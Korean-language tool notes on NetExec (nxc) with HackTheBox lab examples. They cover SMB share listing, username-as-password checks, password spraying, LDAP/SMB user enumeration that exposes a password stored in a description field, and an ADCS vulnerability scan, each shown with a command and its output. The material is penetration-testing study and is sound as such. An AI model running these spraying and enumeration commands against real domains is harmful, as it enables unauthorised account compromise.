nxc

General

1. 개요

nxccrackmapexec 의 후속 프로젝트로 Active Directory 환경 점검을 위한 매우 다양한 프로토콜과 기능을 가진 툴이다.

1.1. 주요 기능

  1. LDAP

  2. WinRM

  3. SMB

  4. MSSQL

  5. SSH

  6. RDP

  7. FTP

2. 사용법

2.1. 공유폴더 찾기

smb 를 통해 공유 파일 리스트를 --shares 옵션을 통해서 확인할 수 있다.

┌──(root㉿kali)-[/home/kali/labs/Cicada]
└─# nxc smb 10.129.38.228 -u michael.wrightson -p 'Cicada$M6Corpb*@Lp#nZp!8' --shares             
SMB         10.129.38.228   445    CICADA-DC        [*] Windows Server 2022 Build 20348 x64 (name:CICADA-DC) (domain:cicada.htb) (signing:True) (SMBv1:False)
SMB         10.129.38.228   445    CICADA-DC        [+] cicada.htb\michael.wrightson:Cicada$M6Corpb*@Lp#nZp!8 
SMB         10.129.38.228   445    CICADA-DC        [*] Enumerated shares
SMB         10.129.38.228   445    CICADA-DC        Share           Permissions     Remark
SMB         10.129.38.228   445    CICADA-DC        -----           -----------     ------
SMB         10.129.38.228   445    CICADA-DC        ADMIN$                          Remote Admin
SMB         10.129.38.228   445    CICADA-DC        C$                              Default share
SMB         10.129.38.228   445    CICADA-DC        DEV                             
SMB         10.129.38.228   445    CICADA-DC        HR              READ            
SMB         10.129.38.228   445    CICADA-DC        IPC$            READ            Remote IPC
SMB         10.129.38.228   445    CICADA-DC        NETLOGON        READ            Logon server share 
SMB         10.129.38.228   445    CICADA-DC        SYSVOL          READ            Logon server share 

2.1.1. smbmap VS nxc

nxc 의 경우 다중 타겟(10.10.10.0/24)와 같이 어떤 공유 폴더가 있고 내 계정으로 어디에 접근 가능한지(READ/WRITE)를 한눈에 파악하기에 편하다.

한편으로 smbmap 의 경우는 안에 중요한 파일들이 있을 거 같을 때 재귀적으로 목록 조회를 -R 과 같이 하위 디렉토리를 트리 구조로 한 번에 볼 수 있다는 점이 차이가 있다.

2.2. ID/PW 일치 혹은 Password Spray 공격

2.2.1. ID/PW 같은 경우

-u-p 에 같은 파일(ID 정보가 담긴 파일)을 제공하는 경우 ID/PW 가 같은지 여부를 확인해 볼 수 있다.

┌──(root㉿kali)-[/home/kali/labs/Monteverde/Monteverde-2]
└─# nxc smb 10.129.228.111 -u users -p users --continue-on-success
SMB         10.129.228.111  445    MONTEVERDE       [*] Windows 10 / Server 2019 Build 17763 x64 (name:MONTEVERDE) (domain:MEGABANK.LOCAL) (signing:True) (SMBv1:False)                                                                                                                                                   
[...SNIP...]
SMB         10.129.228.111  445    MONTEVERDE       [-] MEGABANK.LOCAL\SABatchJobs:mhope STATUS_LOGON_FAILURE 
SMB         10.129.228.111  445    MONTEVERDE       [-] MEGABANK.LOCAL\svc-ata:mhope STATUS_LOGON_FAILURE 
SMB         10.129.228.111  445    MONTEVERDE       [-] MEGABANK.LOCAL\svc-bexec:mhope STATUS_LOGON_FAILURE 
SMB         10.129.228.111  445    MONTEVERDE       [-] MEGABANK.LOCAL\svc-netapp:mhope STATUS_LOGON_FAILURE 
SMB         10.129.228.111  445    MONTEVERDE       [-] MEGABANK.LOCAL\dgalanos:mhope STATUS_LOGON_FAILURE 
SMB         10.129.228.111  445    MONTEVERDE       [-] MEGABANK.LOCAL\roleary:mhope STATUS_LOGON_FAILURE 
SMB         10.129.228.111  445    MONTEVERDE       [-] MEGABANK.LOCAL\smorgan:mhope STATUS_LOGON_FAILURE 
SMB         10.129.228.111  445    MONTEVERDE       [-] MEGABANK.LOCAL\Guest:SABatchJobs STATUS_LOGON_FAILURE 
SMB         10.129.228.111  445    MONTEVERDE       [-] MEGABANK.LOCAL\AAD_987d7f2f57d2:SABatchJobs STATUS_LOGON_FAILURE 
SMB         10.129.228.111  445    MONTEVERDE       [-] MEGABANK.LOCAL\mhope:SABatchJobs STATUS_LOGON_FAILURE 
SMB         10.129.228.111  445    MONTEVERDE       [+] MEGABANK.LOCAL\SABatchJobs:SABatchJobs 
SMB         10.129.228.111  445    MONTEVERDE       [-] MEGABANK.LOCAL\svc-ata:SABatchJobs STATUS_LOGON_FAILURE 
SMB         10.129.228.111  445    MONTEVERDE       [-] MEGABANK.LOCAL\svc-bexec:SABatchJobs STATUS_LOGON_FAILURE 
[...SNIP...]

2.2.2. Password Spray 공격

비밀번호는 습득했으나 아이디는 추론이 어려운 경우에 Password Spray 공격을 -u 에다가 users 파일만 제공해서 공격을 시도해볼 수 있다.

┌──(root㉿kali)-[/home/kali/labs/Cicada]
└─# nxc smb 10.129.38.228 -u users -p 'Cicada$M6Corpb*@Lp#nZp!8' --continue-on-success

SMB         10.129.38.228   445    CICADA-DC        [*] Windows Server 2022 Build 20348 x64 (name:CICADA-DC) (domain:cicada.htb) (signing:True) (SMBv1:False)
SMB         10.129.38.228   445    CICADA-DC        [-] cicada.htb\administrator:Cicada$M6Corpb*@Lp#nZp!8 STATUS_LOGON_FAILURE
SMB         10.129.38.228   445    CICADA-DC        [-] cicada.htb\guest:Cicada$M6Corpb*@Lp#nZp!8 STATUS_LOGON_FAILURE
SMB         10.129.38.228   445    CICADA-DC        [-] cicada.htb\krbtgt:Cicada$M6Corpb*@Lp#nZp!8 STATUS_LOGON_FAILURE
SMB         10.129.38.228   445    CICADA-DC        [-] cicada.htb\CICADA-DC$:Cicada$M6Corpb*@Lp#nZp!8 STATUS_LOGON_FAILURE
SMB         10.129.38.228   445    CICADA-DC        [+] cicada.htb\DnsAdmins:Cicada$M6Corpb*@Lp#nZp!8 (Guest)
SMB         10.129.38.228   445    CICADA-DC        [+] cicada.htb\DnsUpdateProxy:Cicada$M6Corpb*@Lp#nZp!8 (Guest)
SMB         10.129.38.228   445    CICADA-DC        [+] cicada.htb\Groups:Cicada$M6Corpb*@Lp#nZp!8 (Guest)
SMB         10.129.38.228   445    CICADA-DC        [-] cicada.htb\john.smoulder:Cicada$M6Corpb*@Lp#nZp!8 STATUS_LOGON_FAILURE
SMB         10.129.38.228   445    CICADA-DC        [-] cicada.htb\sarah.dantelia:Cicada$M6Corpb*@Lp#nZp!8 STATUS_LOGON_FAILURE
SMB         10.129.38.228   445    CICADA-DC        [+] cicada.htb\michael.wrightson:Cicada$M6Corpb*@Lp#nZp!8 
SMB         10.129.38.228   445    CICADA-DC        [-] cicada.htb\david.orelious:Cicada$M6Corpb*@Lp#nZp!8 STATUS_LOGON_FAILURE
SMB         10.129.38.228   445    CICADA-DC        [-] cicada.htb\emily.oscars:Cicada$M6Corpb*@Lp#nZp!8 STATUS_LOGON_FAILURE

2.3. 계정 정보 찾기

2.3.1. ldap 을 이용한 계정 정보 수집

크리덴셜 하나 이상을 습득하고, 해당 계정을 통해 ldap 모듈에 --users 옵션을 붙이면 다른 계정들의 ID를 획득할 수 있다.

┌──(root㉿kali)-[/home/kali/labs/Cicada]
└─# nxc ldap 10.129.38.228 -u michael.wrightson -p 'Cicada$M6Corpb*@Lp#nZp!8' --users
LDAP        10.129.38.228   389    CICADA-DC        [*] Windows Server 2022 Build 20348 (name:CICADA-DC) (domain:cicada.htb)
LDAP        10.129.38.228   389    CICADA-DC        [+] cicada.htb\michael.wrightson:Cicada$M6Corpb*@Lp#nZp!8 
LDAP        10.129.38.228   389    CICADA-DC        [*] Enumerated 8 domain users: cicada.htb
LDAP        10.129.38.228   389    CICADA-DC        -Username-                    -Last PW Set-       -BadPW-  -Description-                                                                                                                
LDAP        10.129.38.228   389    CICADA-DC        Administrator                 2024-08-27 00:08:03 1        Built-in account for administering the computer/domain                                                                       
LDAP        10.129.38.228   389    CICADA-DC        Guest                         2024-08-28 21:26:56 0        Built-in account for guest access to the computer/domain                                                                     
LDAP        10.129.38.228   389    CICADA-DC        krbtgt                        2024-03-14 15:14:10 1        Key Distribution Center Service Account                                                                                      
LDAP        10.129.38.228   389    CICADA-DC        john.smoulder                 2024-03-14 16:17:29 1               
LDAP        10.129.38.228   389    CICADA-DC        sarah.dantelia                2024-03-14 16:17:29 1               
LDAP        10.129.38.228   389    CICADA-DC        michael.wrightson             2024-03-14 16:17:29 0               
LDAP        10.129.38.228   389    CICADA-DC        david.orelious                2024-03-14 16:17:29 1        Just in case I forget my password is aRt$Lp#7t*VQ!3                                                                          
LDAP        10.129.38.228   389    CICADA-DC        emily.oscars                  2024-08-23 01:20:17 1               

2.3.2. smb 를 이용한 계정 정보 수집

HTB Flight 모듈에서 나오는 실습이다. 위의 ldap 과 마찬가지로 --users 옵션을 붙이면 사용할 수 있다. 공유폴더에서 --shares 만 제거하고 사용하면 된다.

┌──(root㉿kali)-[/home/kali/labs/Flight/Flight-2]
└─# nxc smb 10.129.228.120 -u svc_apache -p 'S@Ss!K@*t13' --users
SMB         10.129.228.120  445    G0               [*] Windows 10 / Server 2019 Build 17763 x64 (name:G0) (domain:flight.htb) (signing:True) (SMBv1:False) 
SMB         10.129.228.120  445    G0               [+] flight.htb\svc_apache:S@Ss!K@*t13 
SMB         10.129.228.120  445    G0               -Username-                    -Last PW Set-       -BadPW- -Description-                                               
SMB         10.129.228.120  445    G0               Administrator                 2022-09-22 20:17:02 0       Built-in account for administering the computer/domain 
SMB         10.129.228.120  445    G0               Guest                         <never>             0       Built-in account for guest access to the computer/domain 
SMB         10.129.228.120  445    G0               krbtgt                        2022-09-22 19:48:01 0       Key Distribution Center Service Account 
SMB         10.129.228.120  445    G0               S.Moon                        2022-09-22 20:08:22 0       Junion Web Developer 
SMB         10.129.228.120  445    G0               R.Cold                        2022-09-22 20:08:22 0       HR Assistant 
SMB         10.129.228.120  445    G0               G.Lors                        2022-09-22 20:08:22 0       Sales manager 
SMB         10.129.228.120  445    G0               L.Kein                        2022-09-22 20:08:22 0       Penetration tester 
SMB         10.129.228.120  445    G0               M.Gold                        2022-09-22 20:08:22 0       Sysadmin 
SMB         10.129.228.120  445    G0               C.Bum                         2022-09-22 20:08:22 0       Senior Web Developer 
SMB         10.129.228.120  445    G0               W.Walker                      2022-09-22 20:08:22 0       Payroll officer 
SMB         10.129.228.120  445    G0               I.Francis                     2022-09-22 20:08:22 0       Nobody knows why he's here 
SMB         10.129.228.120  445    G0               D.Truff                       2022-09-22 20:08:22 0       Project Manager 
SMB         10.129.228.120  445    G0               V.Stevens                     2022-09-22 20:08:22 0       Secretary 
SMB         10.129.228.120  445    G0               svc_apache                    2022-09-22 20:08:23 0       Service Apache web 
SMB         10.129.228.120  445    G0               O.Possum                      2022-09-22 20:08:23 0       Helpdesk 
SMB         10.129.228.120  445    G0               [*] Enumerated 15 local users: flight

3. 모듈

3.1. adcs

adcs 란, Windows 환경에서 공개키 기반 구조(PKI)를 구축할 수 있게 해주는 서버 역할이다. 최근 몇 년간 ADCS의 설정 실수를 이용한 권한 상승 공격 기법이 매우 유행했다. 따라서 nxc 에서는 adcs 관련 정보를 수집하는 모듈을 실행할 수 있다.

즉, 아래의 명령어는 계정으로 LDAP 에 접속해서 이 도메인 네트워크 안에 ADCS 가 존재하는지, 존재한다면 어디에 있는지, 그리고 어떤 취약한 설정이 있는지 조사하는 것이다.

┌──(root㉿kali)-[/home/kali/labs/Fluffy]
└─# netexec ldap dc01.fluffy.htb -u j.fleischman -p 'J0elTHEM4n1990!' -M adcs
LDAP        10.129.38.243   389    DC01             [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:fluffy.htb)
LDAP        10.129.38.243   389    DC01             [+] fluffy.htb\j.fleischman:J0elTHEM4n1990! 
ADCS        10.129.38.243   389    DC01             [*] Starting LDAP search with search filter '(objectClass=pKIEnrollmentService)'
ADCS        10.129.38.243   389    DC01             Found PKI Enrollment Server: DC01.fluffy.htb
ADCS        10.129.38.243   389    DC01             Found CN: fluffy-DC01-CA

4. 기타 기능

4.1. --generate-hosts-file

특정 IP의 SMB 프로토콜 정보를 확인하고 그 서버의 호스트 이름을 알아내 /etc/hosts 파일 형식으로 저장해주는 명령어이다.

┌──(root㉿kali)-[/home/kali/labs/Cicada]
└─# netexec smb 10.129.38.243 --generate-hosts-file hosts
SMB         10.129.38.243   445    DC01             [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:fluffy.htb) (signing:True) (SMBv1:False)

이후 hosts 가 저장된 파일을 /etc/hosts 파일에 덮어 씌워야 한다.

┌──(root㉿kali)-[/home/kali/labs/Fluffy]
└─# cat hosts /etc/hosts | sponge /etc/hosts

결과는 아래와 같다.

                                                         
┌──(root㉿kali)-[/home/kali/labs/Fluffy]
└─# cat /etc/hosts                          
10.129.38.243     DC01.fluffy.htb DC01
127.0.0.1       localhost
127.0.1.1       kali

# The following lines are desirable for IPv6 capable hosts
::1     localhost ip6-localhost ip6-loopback
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
Updated on